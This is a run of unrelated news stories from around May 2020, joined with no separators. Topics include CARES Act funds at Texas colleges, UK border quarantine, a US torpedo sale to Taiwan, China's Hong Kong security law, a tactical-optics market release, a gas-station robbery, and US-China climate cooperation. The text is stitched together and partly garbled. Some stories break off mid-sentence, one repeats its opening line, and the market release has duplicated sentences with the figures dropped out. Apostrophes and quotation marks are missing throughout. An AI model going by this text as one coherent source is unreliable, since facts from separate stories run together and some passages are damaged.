Lamar Institute of Technology, Lamar State Colleges Port Arthur, and Lamar State College Orange all announced plans to offer free summer courses; while Lamar University said their funds would be used to offset lost revenue and support continued coronavirus-related costs, such as cleaning and sanitizing the campus.

Related: SE Texas colleges, students to get federal funds for coronavirus response

Under LITs plan, both first-time and returning students who applied for federal aid and are eligible for Pell grants will receive a full tuition and fee waiver for summer 2020 classes, with a half-price reduction for the fall semester and unspecified tuition reductions thereafter.

Using multiple funding sources, this groundbreaking initiative provides 12-months of continuous free and reduced tuition to earn a technical certificate (and) half the time to an associate degree to help the underemployed, unemployed and recent high school graduates who have never attended college before, LIT President Lonnie Howard said in a letter to students and faculty this week. Beyond this global pandemics health implications, businesses are being forced to close, families are lining-up in their cars for food donations and we all seem to know someone who is unemployed.

LIT received $1,836,301 in federal funds from the Coronavirus Aid, Relief and Economic Security Act, half of which was earmarked for students impacted financially by the virus.

The other two regional colleges, Lamar State College Port Arthur and Lamar State College Orange, also are using portions of their funding to offer two tuition-free 3-credit courses this summer to new and returning students.

Students will need to complete a Free Application for Federal Student Aid (FAFSA) to get the fees and have tuition paid for two 3-credit courses. Unlike LIT, students do not need to be eligible for the Pell grant.

Students can take more than two classes as long as they pay for the additional courses, according to the colleges.

LSPCA received $1,056,684 and LSCO received $1,043,319 from the CARES Act.

The funds were allocated based on a formula prescribed in the act that weighs the number of full-time students who are Pell-eligible but also takes into consideration the total population of the school and the number of students who were not enrolled full-time online before the coronavirus outbreak.

The discounts come as the higher education sector faces record losses and instability, causing the entire sector to be downgraded last month from stable to negative by the credit rating institution Moodys.

As a result, some institutions  including Lamar University, which received the bulk of the regions money with $7,048,774  recently announced they would be making staffing changes that includes the elimination of positions.

Related: Lamar University to make cuts due to the coronavirus

According to Lamar spokesperson Shelly Vitanza, the institution's federal dollars will go towards offsetting revenue lost as a result of campus shutdowns.

The CARES institutional funds will be utilized primarily for two purposes. First, they will be utilized to offset credits being issued for housing, dining or any other fees permitted by the legislation, she said. Second, they will be used to finance LUs ongoing COVID-19 response costs, including items such as cleaning products, housekeeping equipment and additional technology/software costs.

Half the funds at all colleges and universitys have gone directly to students.

At Lamar, 1,100 students so far have been awarded a total of about $1.2 million, according to numbers provided by the university.

We have more than 1,000 students who have applied for emergency aid who do not qualify for the CARES Act funding, Vitanza said. We are assisting these students with generous gifts from the Cardinal Emergency Fund.

The distribution of CARES funding is part of nearly $31 billion allocated by Congress to the Department of Education for students in K-12 schools and higher education institutions.

Of that, $13 billion goes to K-12 educational support.

isaac.windes@hearstnp.com

twitter.com/isaacdwindes
Organised crime gangs have used the coronavirus pandemic to try to smuggle drugs into the UK and are even bringing in dangerous counterfeit disease tests, the head of the Border Force revealed tonight.

Paul Lincoln revealed his organisation has discovered cocaine and heroin hidden inside shipments of anti-Covid masks.

The Border Force director general also warned of 'abhorrent attempts to exploit vulnerable people' as he joined Home Secretary Priti Patel at the daily Downing Street press conference.

Outlining the enforcement of the new quarantine regime due to come into force on June 8 he expanded on the current issues facing his officers.

He added: 'Throughout this crisis they have remained on the front line and they have needed to.

'Organised crime groups and those who wish to do the country harm take every opportunity that every crisis provides.

And we are seeing some abhorrent attempts to exploit vulnerable people as a result of coronavirus. As an organisation we have turned to face the threat.

Paul Lincoln revealed his organisation has discovered cocaine and heroin hidden inside shipments of anti-Covid masks

The Border Force director general also warned of 'abhorrent attempts to exploit vulnerable people' as he joined Home Secretary Priti Patel at the daily Downing Street press conference

'Last month along Border Force seized more than 700kg of cocaine and heroin destined for our streets, some of which were concealed inside shipments of face masks.

'In the last few days alone we have seized significant amounts of contraband, including an AK-47 assault rifle, ammunition, nearly half a million pounds of illicit cash and 20 tones of smuggled tobacco.

'We have also intercepted thousands of counterfeit covid 19 tests, continuing out battle against those who are proliferating from this pandemic.'

In the almost two months from March 21 to May 15 his officers intercepted 84 consignments of face masks which were deemed 'counterfeit or otherwise below standard' and sent to Trading Standards for investigation.

Home Secretary Priti Patel says EVERYONE arriving in UK will be ordered to self-quarantine for 14 days from June 8 to 'protect against imported cases' - with up to 1,000 fines for those who refuse

Priti Patel today confirmed all travellers returning to the UK will face a mandatory 14 day period in quarantine as she said Britain must now guard against importing cases of coronavirus.

The Home Secretary said the UK needed to protect the 'hard won progress' it has made in the fight against the deadly disease and that tougher border controls will help to prevent a 'devastating resurgence'.

Everyone coming into the country from abroad will now have to give an address to public health officials of where they will be self-isolating.

Those officials will then be carrying out spot checks, with anyone found to be breaking the rules facing a fine of up to 1,000.

Any foreign national who declines to comply with the measures at the border could be refused entry. Ms Patel said a 'reckless minority' would not be allowed to undermine the UK's efforts to stop the spread of the disease.

The restrictions will come into force on June 8 and will then be reviewed every three weeks.

Critics immediately demanded to know why tougher border controls had not been introduced earlier in the crisis as Ms Patel faced accusations of having been 'too slow to act'.

The Home Secretary decided to press ahead with the move despite a mounting backlash from airlines over fears it will destroy the industry and scupper plans to resume flights.

Virgin Atlantic has warned the quarantine requirement means passenger services cannot resume until August at the earliest and it has urged the government to rely on screening measures instead.

The specific details of the new system are not expected to be finalised until the House of Commons returns from its latest recess at the start of June.

Transport Secretary Grant Shapps has previously raised the prospect of 'air bridges' being put in place at a later date in order to connect the UK to low-infection countries.

The confirmation of the plans comes after Australia became the first country to push for an exemption. Australian PM Scott Morrison is believed to be seeking for his country to be left out of the curbs after it almost wiped out the virus.

Priti Patel today announced all travellers returning to the UK from abroad will face a mandatory 14 days in quarantine

The latest Downing Street statistics show the number of daily coronavirus deaths is continuing to fall

The R number, showing the rate of transmission, remains the same at between 0.7 and 1.0 with an estimated 61,000 new infections in England every week

The final details of the quarantine plans are expected to be finalised when the House of Commons returns following its latest recess at the start of June

Heathrow trials temperature screening Heathrow has started trials of temperature screening to spot passengers with coronavirus. Travellers passing through Terminal 2's immigration hall are being monitored with thermal detection cameras which can read a person's temperature in seconds from a distance of 8ft. The airport is in talks with Border Force and Public Health England (PHE) over what action can be taken if a passenger with a fever is identified. The traveller could be asked to quarantine or be prevented from boarding the plane. The trials have been set up to ensure the technology works before proper regulations are introduced. The move follows anger over the country's failure to screen the 15,000 passengers continuing to arrive into Britain every day. New safety measures also mean all airport staff have to wear face coverings and bosses are also considering UV sanitation to clean security trays, as well as contact-free security screening equipment to reduce person-to-person contact. Heathrow says the measures could form part of an internationally agreed system of biosecurity to restore confidence in air travel. Advertisement

Speaking at the daily Downing Street press conference, Ms Patel said: The answer as to why we are bringing these measures in now is simple. It is to protect that hard won progress and prevent a devastating resurgence in the second wave of the virus.

We are following the science and introducing public health measures that are supported by SAGE.

This will require international arrivals to self-isolate for 14 days, that is the incubation period of the virus, so that if people have become infected overseas we can limit the spread of the virus at home.

As we are taking this action we are taking it at a time when it will be the most effective.

Passenger arrivals have been down by 99 per cent compared to the previous year, now we are past the peak of this virus we must take steps to guard against imported cases, triggering a resurgence of this deadly disease.'

Ms Patel said that as the domestic rate of transmission continues to fall and the number of people coming to the UK rises, 'imported cases could begin to pose a larger and increased threat'.

'This is of course a different story from when domestic transmission was at its peak and when overseas travel was at an all time low,' she added.

However, critics responded to the announcement by demanding to know why ministers had not imposed such restrictions earlier on during the outbreak.

The SNP's shadow home secretary Joanna Cherry QC said that 'as usual the UK is behind the curve' and other countries have had similar measures in place 'for months'.

'The UK is finally catching up only to find other countries are in the process of moving on,' she said.

'The result is that hundreds of thousands of people have already arrived in the UK without any public health measures in place at ports of entry, to the annoyance and bemusement of the British public.

'Priti Patel needs to fully explain the scientific advice underlying her inaction to date and the action she now intends to take.'

Under the plans, travellers arriving at all ports and airports will be ordered to go into self-isolation for a fortnight and to provide the address where they will be staying to public health officials.

Foreign nationals who refuse to agree to self-isolate will be banned from entering the UK.

It will also apply to those returning from holiday abroad, but truck drivers will be exempt from the rules to prevent disruption to vital supplies such as food.

Transit passengers, who do not formally enter the UK, will also be exempt, as will fruit and vegetable pickers.

Harvesters will be required to live on the farms on which they are working.

Pleas for a broad exemption for business have been rejected.

Only a small number of specialist workers will be exempt from what insiders said would initially be a 'blanket' policy.

Public health officials are expected to conduct approximately 100 spot checks every day to ensure people are sticking to self-isolation.
Yanmar South America has teamed up with John Deere and the local government of Indaiatuba, an important centre of industry in the state of Sao Paulo, in an effort to disinfect the streets of the city of the novel coronavirus, to make them safer for citizens.

The City of Indaiatuba carried out the spraying and disinfection of the citys streets from April 15th to May 8th with Yanmar contributing a Solis 90 CV tractor to assist in the operation. Working at night, the tractors sprayed a solution of water and sodium hypochlorite, a chlorine-based bleach, prepared and approved by the citys health department. Yanmar South America employee Odirlei Silva from the agricultural commercial department operated the tractor.

We have over 60 years of history in Indaiatuba, said Yanmar South America President Kenji Kitahara. This city is home to many of our employees and its important for the people of the city that we work closely with City Hall in this time of crisis.

The response of residents was overwhelmingly positive with many taking to social media to express thanks for the disinfection work.

Mr. Nilson Gaspar, Mayor of the City of Indaiatuba agreed with residents: Nothing is more important to us than the health and wellbeing of our residents. Were very pleased that the city has been able to come together with Yanmar and John Deere to carry out this important public service.

Yanmar will consider further action in the future in line with city health guidelines.
Mike Schultz

Nurse Mike Schultz shocked followers when he shared a recent photo to show how COVID-19 affected his body.

The formerly buff nurse was almost unrecognizable in the new photo he shared from the hospital.

The 43-year-old nurse from San Francisco shared a before-and-now photo to his 30,000 Instagram followers. The picture on the left was taken about a month before he first got sick. The photo on the right was taken in a recovery ward. He said it exhausted him to stand up from the bed for a few minutes to take the picture.

Speaking to BuzzFeed News, Mike narrated how he woke up thinking hed been out for only 1 week, but a nurse told him 6 weeks had passed.

He said that as he sat in his bed in a Boston hospitals coronavirus ward, he chatted with one of his favorite nurses about his treatment of being sedated and intubated.

I thought only a week had gone by, he told BuzzFeed News.

Thats when she let him know he hadnt been in the ward for one week but hed been there for six.

I was so weak. This was one of the most frustrating parts, he recalled. I couldnt hold my cellphone; it was so heavy. I couldnt type, because my hands shook so much.

The nurse said he had no underlying health conditions. He normally worked out six or seven times a week. He weighed about 190 pounds before his illness. After he was discharged and started eating again, he was able to get his weight back up to 140 pounds.

Mike was hospitalized on March 16, a week after attending the Winter Party Festival in Miami before the lockdown restrictions. Nearly 40 people from that event contracted the virus and 3 died.

Two days before Mike was hospitalized, hed arrived in Boston from his home in San Francisco to see his boyfriend, 29-year-old DJ Josh Hebblethwaite. He was a little under the weather but did not have a fever.

Within days of arriving in Boston, Mike had a fever and he struggled to breathe. His lungs were also filling with liquid, so they raced him to the hospital.

Schultz ended up being intubated for four and a half weeks, and his boyfriend could not visit him due to hospital protocols.

Mike has recovered but he says the sickness affected his sense of taste.

He recalled how he ordered two double cheeseburgers, small fries, and a strawberry shake at McDonalds when he was finally released from the hospital:

It did taste different. I think I lost some of my taste, he said, but it was good.

As he continues his recovery, Schultz told Buzzfeed that both he and Hebblethwaite have received some backlash online for their attendance at the Winter Party. Some even said Schultz deserved to get sick, but he is choosing to focus on the outpouring of support hes received since posting his photo.
Former Kano State Commissioner of Works and Infrastructural Developments, Muazu Magaji, has been discharged after recovering from COVI...





Former Kano State Commissioner of Works and Infrastructural Developments, Muazu Magaji, has been discharged after recovering from COVID-19.





Magaji took to his Facebook page to announce his status.





To the Glory of Allah SWT, today Friday 22nd May and 29th Ramadan I have been confirmed COVID-19 negative and discharged from Isolation centre, he wrote.





Magaji tested positive for Coronavirus on May 7.





He was sacked by the Kano State Government for celebrating the death of Abba Kyari, the late Chief of Staff to President Muhammadu Buhari.
Queensland will become the fourth state to upload driver licence data to a controversial national database, but privacy advocates have urged caution until the dumped federal laws underpinning it are in place.

Managed by the federal Home Affairs Department, the National Driver Licence Facial Recognition Solution is expected to store biometric information created from photos provided and controlled by the states.

Queensland will upload about 4 million photos to the National Driver Licence Facial Recognition Solution in the second half of the year. Credit:Queensland government

This would allow easier sharing of identity information in real time across jurisdictions, and has been pitched as a method to help combat identity theft.

Home Affairs has revealed Queensland will follow Victoria, South Australia and Tasmania, which have already provided their almost 7 million licences to the database since December 2018.
The transition from in-person teaching to distance learning has been tricky for all educators, regardless of subject matter or the age of their students.

Some classes, however, can present more of a challenge than others.

How, for example, do you teach ballet? A class that, at first thought, requires much more of a literal hands-on role for the teacher than, say, math or English.

It was a serious challenge for the staff and students at Central Pennsylvania Youth Ballet, according to the schools artistic director, Darla Hoover.

When ballet is taught properly, youre on your hands and knees and moving their bodies so they never develop poor muscle memory," she said. Now we have to rely on our words to do what our hands did.

The transition was very difficult at first," said Lily Krisko, 17, of Elizabethtown, who is level 8 (the highest level) at CPYB. "I was trying to find a way to make my day feel normal and it just wasnt the same.

I went from waking up for school at 6 a.m. and dancing from 4 to 9 p.m. to doing school online and dancing for two hours a day, she said.

Despite the hurdles, however, Hoover said CPYBs students -- many of whom live as far away as Brazil and New Zealand -- have risen to the occasion.

Its difficult but were holding our own. We know the kids look forward to classes every day, Hoover said. My heart jumps seeing their faces. Even though Im not in theory with them physically, Im in the room with them emotionally.

Hoover said that it tends to be easier teaching the more advanced students than the younger, less experienced ones.

The more advanced they are, the older they are, the easier this has been, she said. If ballet is taught properly it develops focus and skills unparalleled, and those have translated directly to the zoom classes. ... Their thought processes are so good the corrections are minimal.

Its not just learning steps. Its learning out how to utilize specific muscles, so we develop our bodies muscularly the right way, she said.

Hoover said she uses two Zoom devices -- one so the students can watch her and one that she project on her television so she can see everyones performance on a bigger screen.

The students and their families have had to invest in items like a ballet bar, special flooring and other equipment as well.

The biggest challenge in doing the Zoom classes at home would have to be working with the space you have," Krisko, a junior at Elizabethtown Area High School, said. Although all I want to do is move across the floor, I have to use this time to really go back, and perfect small details so that when this quarantine period is over, my technique remains strong.

In order to bring something special to her online classes, Hoover has been doing Q&A sessions once a week with some of the top people in the professional dance world, like Sarah Mearns, a dancer with the New York City Ballet.

How often could I get her to Carlisle? she said. I want to keep [my students] motivated and inspired.

In addition to her duties at CPYB, Hoover is also the director of the Ballet Academy East in New York City and has worked to combine the resources of the two schools, so both have access to each others faculties.

Other well-known, big schools in New York or Seattle  they were shocked at what we were doing already. Im proud of what weve accomplished.

Still, Krisko said it can be frustrating for her and other CPYB students to not get to interact with others in person at the school.

The most frustrating thing for me is being so isolated. Im not getting to walk into the studio everyday and greet the people I share this beautiful passion with. Im not getting to rehearse Giselle with the amazing faculty who has taught me so much," Krisko said. "Knowing that this will all pass is keeping me going.
90 days was only the start for these reality stars.

Fans of 90 Day Fiance got a treat when the trailer for season five of the Happily Ever After? spin-off emerged online.

The teaser is full of drama as it documents six different couples' experiences with the K-1 visa process, which is specifically for the fiances of American citizens.

Spin-off: A trailer for season five of 90 Day Fiance: Happily Ever After? dropped Friday promising plenty of drama from six of the show's favorite pairs. Andrej and Elizabeth are seen above

This season series features series favorites Kalani and Asuelu, Tania and Syngin, Elizabeth and Andrei, Angela and Michael, Paul and Karine, and Colt and Larissa.

Andrej and Elizabeth plan a family trip to his native country of Moldova, but while there he clashes with her brothers.

Now that they are split, Colt and Larissa are embracing single life. Proclaiming he's ready to be 'Colt 2.0,' he's seen jumping into dating life again.

Before the drama: Andrej and Elizabeth plan a family trip to his native country of Moldova, but while there he clashes with her brothers

Better apart: Now that they are split, Colt and Larissa are embracing single life

Back at it: Proclaiming he's ready to be 'Colt 2.0,' he's seen jumping into dating life again

Ooh la la: Larissa embraces her sexuality with striptease classes and is also seen indulging in cosmetic surgery

Meanwhile, Larissa embraces her sexuality with striptease classes and is also seen indulging in cosmetic surgery.

Paul and Karine are seen moving from Brazil to America with their baby Pierre, but they worry Paul might not be able to find work and provide for the family.

Though things are great between Kalani and Asuelu, she continues to struggle with his family.

Newlyweds Tania and Syngin deal with their trust issues as they continue to get used to married life.

Pressure: Paul and Karine are seen moving from Brazil to America with their baby Pierre, but they worry Paul might not be able to find work and provide for the family

Family problems: Though things are great between Kalani and Asuelu, she continues to struggle with his family

New to them: Newlyweds Tania and Syngin deal with their trust issues as they continue to get used to married life

Powerful personalities Angela and Michael buck heads after his mom tell her Nigerian women need to be 'submissive.'

All the while Angela needs to decide if the couple should get married in Nigeria after Michael's K-1 Visa was denied.

All the drama will come to light when 90 Day Fiance: Happily Ever After's fifth season premieres June 14 on TLC. For those who just can't wait, the first hour will be available on TLC Go on June 7.
US Approves Sale of Heavy Torpedoes to Taiwan As Tensions With Beijing Escalate

Sputnik News

18:46 GMT 21.05.2020

As relations between the United States and the People's Republic of China (PRC) begins to strain amid the trade war and the coronavirus pandemic, Washington is looking towards closer ties with Taiwan, which remains in dispute with Beijing over its claim to national sovereignty.

The United States is geared to engage in a US$180 million sale of submarine-launched torpedoes to Taiwan, as tensions between mainland China and the Trump Administration escalate.

The White House informed Congress on Wednesday that it has approved the sale despite the deal not yet being finalised.

The statement by the US Defense Cooperation Agency suggested that the State Department had greenlit a shipment of 18 MK-48 Mod6 Advanced Technology heavyweight torpedoes to the country

"The Defense Security Cooperation Agency delivered the required certification notifying Congress of this possible sale today," the agency said in its statement.

The sale would serve as a "deterrent to regional threats and to strengthen homeland defence" as well as aid Taiwan's "continuing efforts to modernise its armed forces" and to maintain a "credible defensive capability", the agency explained.

Confirmation of the deal comes as the Taiwanese head Tsai officially began her second term as president. Promising to pursue national defence reforms and pursue peaceful relations with mainland China, which has so far not ruled out the use of force to ensure Beijing's control over the self-ruled island

She rejected Beijing's "one country, two systems" proposal which commits to a semi-autonomous Taiwan akin to Hong Kong and Macau. The newly re-elected president said that Taipei and Beijing have "a duty to find a way to coexist over the long term" and called for stability across the strait.

China's Foreign Ministry Spokesperson Zhao Lijian said that China firmly opposes the planned sale of advanced torpedoes and that Beijing expressed "solemn representations" in response to the announcement.

The move will likely inflame tensions between China and the US further, as the two superpowers are engaged in trade conflict as well as exchanging blame for the origins of the coronavirus pandemic.

President Trump administration has frequently blamed Chinese authorities for failing to effectively respond to the COVID-19 pandemic in the initial stages and covering up its real figures. While China claims that the virus could have been brought to the country in the Wuhan military world games in 2019.

Taiwan, which calls itself 'The Republic of China' (ROC), is not recognised by or has any formal diplomatic ties with most countries in the world, including the US.

Taiwan is considered Chinese territory, with the governments in Taipei and Beijing in a dispute over who holds sovereignty over the territory. Since 1971, the ROC has had no voting representation at the United Nations but maintains defense agreements with several countries including the US, which leaves it in a de facto state of self-rule.

A Sputnik

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CHICAGO, May 22, 2020 /PRNewswire/ -- According to the new market research report "Tactical Optics Market by Product (Weapon Scopes & Sights, Handheld Sighting Devices, Cameras & Displays), Platform, Application (ISR, Target Acquisition & Identification, Border & Coastal Patrol), End Use, Range, and Region - Global Forecast to 2025", published by MarketsandMarkets, the Tactical Optics Market is projected to grow from USD 9.7 billion in 2020 to USD 13.0 billion by 2025, at a CAGR of 6.1% from 2020 to 2025. The market growth can be mainly attributed to the increasing procurement of armored vehicles, rotorcraft, machine guns, and aircraft by militaries globally and the ongoing modernization of naval platforms by various countries.

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https://www.marketsandmarkets.com/pdfdownloadNew.asp?id=80246778

The airborne platform segment is projected to register the highest CAGR during the forecast period

By platform, the airborne segment is projected to register the highest CAGR from 2020 to 2025, due to the increasing use of Unmanned Aerial Vehicles (UAVs) for surveillance and assault and rising orders for fighter aircraft and attack helicopters by various countries, such as India, China, the US, and Saudi Arabia.

The manned platform end use segment is projected to lead the tactical optics market from 2020 to 2025.

By end use, the manned platform segment is projected to lead the tactical optics market during the forecast period. This segment is driven by the high demand for tactical optics, such as riflescopes, binoculars, spotting scopes, night vision goggles, and thermal weapon sights. Significant investments for infantry soldiers by countries such as the US, Saudi Arabia, India, China, and South Korea are driving the overall market.

Browse in-depth TOC on "Tactical Optics Market"

186 - Tables

77 - Figures

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North America is projected to be a high growth market for tactical optics during the forecast period.

The tactical optics market in North America is projected to grow at the highest CAGR during the forecast period. Multiple modernization programs by the US Army, Navy, and Air Force are contributing to the growth of the tactical optics market in this region.

The tactical optics industry includes major Tier 1 players, such as Kongsberg Gruppen AS (Norway), Raytheon Company (US), Elbit Systems Ltd. (Israel), Saab AB (Sweden), Leonardo S.p.A (Italy), and BAE Systems plc (UK). These companies offer advanced electro-optic cameras and thermal cameras, which make up the majority of the tactical optics market. The tactical optics industry also constitutes Tier 2 and Tier 3 players who offer tactical optics for dismounted soldiers, which cost comparatively lesser. These players include Sig Sauer, Inc. (US), Vortex Optics (US), Bushnell Corporation (US), and Leupold & Stevens, Inc. (US).

In January 2019 , Sig Sauer, Inc. was awarded a contract worth USD 12 million by the US SOCOM for the supply of its Electro-Optics TANGO6T 1-624 Second Focal Plane (SFP) Riflescope and ALPHA4 Ultralight Mount, allowing the company to increase its share in the riflescopes market.

, Sig Sauer, Inc. was awarded a contract worth by the US SOCOM for the supply of its Electro-Optics TANGO6T 1-624 Second Focal Plane (SFP) Riflescope and ALPHA4 Ultralight Mount, allowing the company to increase its share in the riflescopes market. In September 2018 , Leonardo S.p.A. received a contract worth USD 18 million from the Naval Surface Warfare Center for the supply of Improved Night Observation Device (INOD) Block III thermal weapon sight for marine snipers.

, Leonardo S.p.A. received a contract worth from the Naval Surface Warfare Center for the supply of Improved Night Observation Device (INOD) Block III thermal weapon sight for marine snipers. In March 2018 , BAE Systems plc secured a contract worth USD 97 million from the US Army for the supply of new night vision goggles and thermal weapon sights.

Related Reports:

Remote Weapon Station Market by Application (Military, Homeland Security), Platform (Land, Airborne, Naval), Component (Sensors, HMI, Weapons & Armaments), Weapon Type (Lethal, Non-lethal), Mobility, Technology, and Region - Global Forecast to 2023

Riflescopes Market by Sight Type (Telescopic, Reflex), Technology (Electro-Optic/IR, Thermal Imaging, Laser), Application (Hunting, Armed Forces, Shooting Sports), Range (Short, Medium, Long), and Region - Global Forecast to 2025

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China has sent out demarches to India and other countries to explain its decision to enact a new law for Hong Kong, a controversial move that is expected to trigger fresh pro-democracy protests in the specially administered region (SAR).

The law, which will ban sedition, secession and subversion of the central government in Beijing, was submitted to Chinas legislature, National Peoples Congress (NPC), for deliberation as it began its annual session on Friday.

It is expected to become a law at the end the week-long session of the largely rubber-stamp NPC.

Critics say that the new law will effectively end wide-ranging freedoms including the right to peaceful assembly and free speech that Hong Kong enjoys under the one country, two systems mechanism.

The system gives the city a high-degree of autonomy other than in defence and foreign affairs.

Aware of the of the criticism expected to follow the announcement, Beijing sent out urgent demarches to foreign embassies, including India, late on Thursday night, explaining the law and why it was needed.

And, essentially, the note explained, countries should support the law to protect their own legitimate interests in Hong Kong.

The notes were sent out to the embassies and consulates at the same time as an NPC spokesperson was making the announcement about it.

The demarche pointed out that Beijing will not tolerate any external interference in Hong Kong.

Hong Kong is a Special Administrative Region of China. The legislation for upholding national security in the Hong Kong SAR is purely Chinas internal affair. No foreign country may interfere in this matter, it said.

In brusque language, the statement said: Your country maintains close economic and trade cooperation as well as people-to-people exchanges with Hong Kong. Hong Kongs prosperity and long-term stability is in line with the common interests of the whole international community, including your country, as well as protection of your countrys legitimate interests in Hong Kong. We hope that your government will understand and support Chinas relevant practices.

Hong Kong has become a notable source of risk to Chinas national security, it said.

The governments note blamed external forces for the protests, which have wracked Hong Kong since June last year; at first, the student-led agitation were over an extradition bill before morphing into wider pro-democracy protests.

The opposition in Hong Kong have long colluded with external forces to carry out acts of secession, subversion, infiltration and destruction against the Chinese mainland. The turbulence over the amendment bill in Hong Kong last June has greatly undermined the SARs rule of law and stability and battered its economy and peoples livelihoods, the note said.

These activities have not only caused enormous damage to the security of the SAR authorities and public order, mounted a serious challenge to the principle of one country, two systems, but also posed a grave threat to Chinas national security, sovereignty, unity and territorial integrity. Hong Kong has become a notable source of risk to Chinas national security, the demarche added.

For Beijing, the new law will be the way to finally override Article 23 of the Basic Law -- Hong Kongs mini constitution  which calls on the local government to enact laws on its own to prohibit any act of treason, secession, sedition, subversion against the Central Peoples Government.

However, nearly 23 years after the former British colony was handed back to China in 1997, the law has never been passed.

Hong Kong independence elements, separatists and those organising and joining terrorist activities only form a tiny minority in Hong Kong. It is these people that must be published in accordance with law, the note added.

By doing so, we can protect the vast majority of the Hong Kong people who abide by law. This meets the fundamental interests of Hong Kong society, the note said.

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TINICUM  Police are searching for a man who allegedly bound and robbed a Sunoco employee at knife-point Monday morning, holing up in the locked store for more than 20 minutes while customers attempted to enter.

A township officer was on patrol westbound on South Gov. Printz Boulevard at about 9:09 a.m. when he was flagged down by a motorist, according to a release issued Thursday by police Sgt. James Y. Simpkins Jr. The motorist told the officer that someone was locked inside of the Sunoco gas station at 15 Industrial Highway in Essington.

The officer entered the station through the front door and found no one behind the counter. He could hear the male clerk calling for help behind the locked office door, however. The victim told the officer through the door that he was tied up and couldnt move.

The officer forced his way through the door and found the victim on top of the steps to the upstairs office, bound at his wrists with an electrical extension cord and bound at the legs by a vacuum cleaner cord, according to the release.

The victim told the officer that a black male wearing a green sweatshirt with Philadelphia written on it and a mask had entered the store, the release states. The black male pulled out a knife and jumped the counter through the side window. The actor then took the money and lotto tickets. (The) victim stated that he was forced upstairs and tied up and was assaulted.

Surveillance camera footage shows the suspect approaching the Sunocos door wearing a green Philadelphia Eagles sweatshirt, blue jeans and black low-top Nike sneakers. He appeared to be walking with a limp.

The robber was in the store for more than 20 minutes, according to the release. He had locked the front door and turned off the lights. Numerous patrons attempted to enter the store while the robber was inside, but turned away when they realized the door was locked.

Tinicum police reported that the suspect was seen with another man wandering around the Red Roof Inn and the Travel Lodge at about 8 a.m. that day and may have gotten off the 37 SEPTA bus from Philadelphia or the airport. He was last seen walking west on Route 291 in the area of Sellers Avenue at 9:10 a.m.

Anyone with information on the case is urged to contact the Tinicum Police Department at 610-521-3830.
Covid-19: Schools in Pune to remain shut for Classes 1 to 8 till Jan 30

Pune hospital to use new drug to treat COVID-19

India

oi-Vicky Nanjappa

Pune, may 22: At least 25 COVID-19 patients, who are in a semi-critical condition at Pune's government-run Sassoon General Hospital, will be administered tocilizumab, a drug which has proven effective in treating the infection, an official said on Friday.

The new drug, an injection which costs around Rs 20,000, will be given to 25 patients in the first phase and depending on the results, the Pune Municipal Corporation will decide on its further use, municipal commissioner Shekhar Gaikwad said.

95 year old woman recovers from coronavirus in Indore

A special task force of specialist doctors, set up under the chairmanship of Dr D B Kadam, recommended tocilizumab for COVID-19 patients in case their condition worsens, he said.

"After the ethical team gave approval for the use of tocilizumab, we started procuring it for 25 patients in the first phase," Gaikwad said.

The civic body had received protocols for using the drug.

"Tocilizumab was administered to an anganwadi worker, admitted to Bharti Hospital in a critical condition, who made a remarkable recovery," he said.

Civic hospitals in Mumbai were also using the drug to treat COVID-19 patients and it has given good results, he said.

Coronavirus outbreak: Once again India witnesses biggest spike in COVID-19 positive cases

The task force has recommended the use of the drug in patients below 50 years of age, those with evidence of cytokine storm, requiring oxygen and having persistent fever.

PM Modi announces Rs 1000 crore immediate relief for cyclone-hit West Bengal | Oneindia News

Pune district, the second worst-hit from coronavirus in Maharashtra after Mumbai, has so far reported 4,809 cases, including 242 deaths.
The Pakistan Army on Friday shelled forward areas along the Line of Control (LoC) in Jammu and Kashmirs Poonch and Rajouri districts, drawing retaliation from the Indian Army, a defence spokesperson said.

At about 0720 hours today, Pakistan Army initiated unprovoked ceasefire violation by firing with small arms along LoC in Nowshera sector of Rajouri district, the spokesperson said.

The cross-border shelling between the two sides was going on when last reports were received, the official said. However, there was no immediate report of any casualty during the Pakistani shelling.

Pakistani troops also shelled areas along the LoC in Poonch sector.

About 0330 hours today, Pakistan initiated unprovoked ceasefire violation by firing with small arms & shelling with mortars along LoC in Krishna Ghati Sector of district Poonch, the spokesman said.
As the coronavirus pandemic rages, the Trump administrations already-rocky relationship with China has deteriorated. President Trump has sought to blame the country for the public health and economic disaster, for a time calling the new coronavirus the Wuhan virus or the Chinese virus, and as recently as May 7, spreading unsubstantiated claims that the virus emerged from a lab in Wuhan. On May 14, he went so far as to suggest that the U.S. might cut off the whole relationship.

The U.S. relationship with China has faced challenges since Xi Jinping took office and moved the country in an increasingly nationalist direction. But, even as the two countries disagreed on a wide range of other issues, they got together to work on climate change during the Obama years. That paved the way for big multilateral breakthroughs to reduce emissions, and helped temper heated relations between the countries in other areas. The Obama White House called climate change a central pillar of the bilateral relationship between the two countries at the time. When you see a friendly picture of President Obama and President Xi together, theres a good chance they were talking about climate.

This relationship not only bore fruit in the fight against climate change in the past, but may be crucial to the future of efforts to tackle emissions. The U.S. and China are the worlds two largest economies and its two largest emitters. If theyre moving in the same direction, and pushing the rest of the world to do the same, its still possible for the world to reduce emissions to a level that could keep global temperatures from rising over 1.5C compared to pre-industrial levels. If they arent, unchecked warming starts to look even more certain.

Working together

In the 1990s and early 2000s, as global warming became an issue of international concern, the U.S. and China frequently played the role of disruptors in international climate discussions. The U.S. balked at transnational measures that would have committed the country to reducing emissions, arguing that this would mean giving other countries sway over the U.S. domestic economya proposition most American politicians fiercely rejected. (In 1997, the U.S. Senate voted 95-0 to declare that the U.S. should reject any measure that would mandate emissions cuts for the U.S. while not mandating similar cuts for developing countries). At the same time, China insisted that, despite its recent economic growth, it shouldnt be held to the same standard as countries that had been wealthyand large emittersfor decades. After all, why should China be responsible for fixing a problem it didnt cause?

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With this history in mind, the collaboration between the Obama and Xi governments in the lead up to the Paris Agreement in 2015 was huge. In 2014, Obama and Xi met in Beijing, and the U.S. committed to reduce its emissions by more than quarter by 2025 while China committed to 2030 as the latest its emissions would peak. In 2015, the pair gathered again in Washington, D.C., where, during a visit that included a state dinner, they announced a slew of policies to show how they would meet those goals.

The collaboration paid dividends beyond climate. Obama administration officials and career diplomats alike say that the work on climate change kept the relationship from falling apart amid other disagreements. Our bilateral understanding on climate helped steady the relationship at a time of turbulence on economic and security issues, says Paul Bodnar, senior director for energy and climate on Obamas National Security Council and now a managing director at the Rocky Mountain Institute, a U.S.-based NGO that works on energy and climate.

